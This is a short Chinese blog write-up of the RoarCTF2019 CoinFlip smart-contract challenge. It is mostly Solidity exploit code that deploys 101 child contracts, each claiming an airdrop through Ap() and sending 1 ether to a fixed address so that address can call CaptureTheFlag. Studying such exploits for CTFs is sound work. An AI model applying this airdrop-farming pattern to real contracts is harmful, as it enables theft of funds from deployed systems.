Fork me on GitHub
pikachu's Blog

RoarCTF2019 CoinFlip

前言

  • Deposit() 可以增加 balances[msg.sender] ,但是需要发送 msg.value > 500 ether 才能满足要求,可以写自动化脚本完成(但这样的话,题目应该是非预期,题目考点应该不是这个,所以理论可行,请自行尝试)
  • 薅羊毛攻击:
    • 部署第三方自合约,然后调用 Ap()Transfer() 将钱转到固定地址
    • 固定地址调用 CaptureTheFlag 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract hack {
address instance_address = 0xF60ADeF7812214eBC746309ccb590A5dBd70fc21;
P_Bank target = P_Bank(instance_address);

function hack1(string b64email) public {
target.CaptureTheFlag(b64email);
}
}

contract father {
function createsons() {
for (uint i=0;i<101;i++)
{
son ason = new son();
}
}
}

contract son {
constructor() public {
P_Bank tmp = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
tmp.Ap();
tmp.Transfer(0x7ec9f720a8d59bc202490c690139f8c7cbad568d, 1 ether);
}
}
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2019/CoinFlip/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!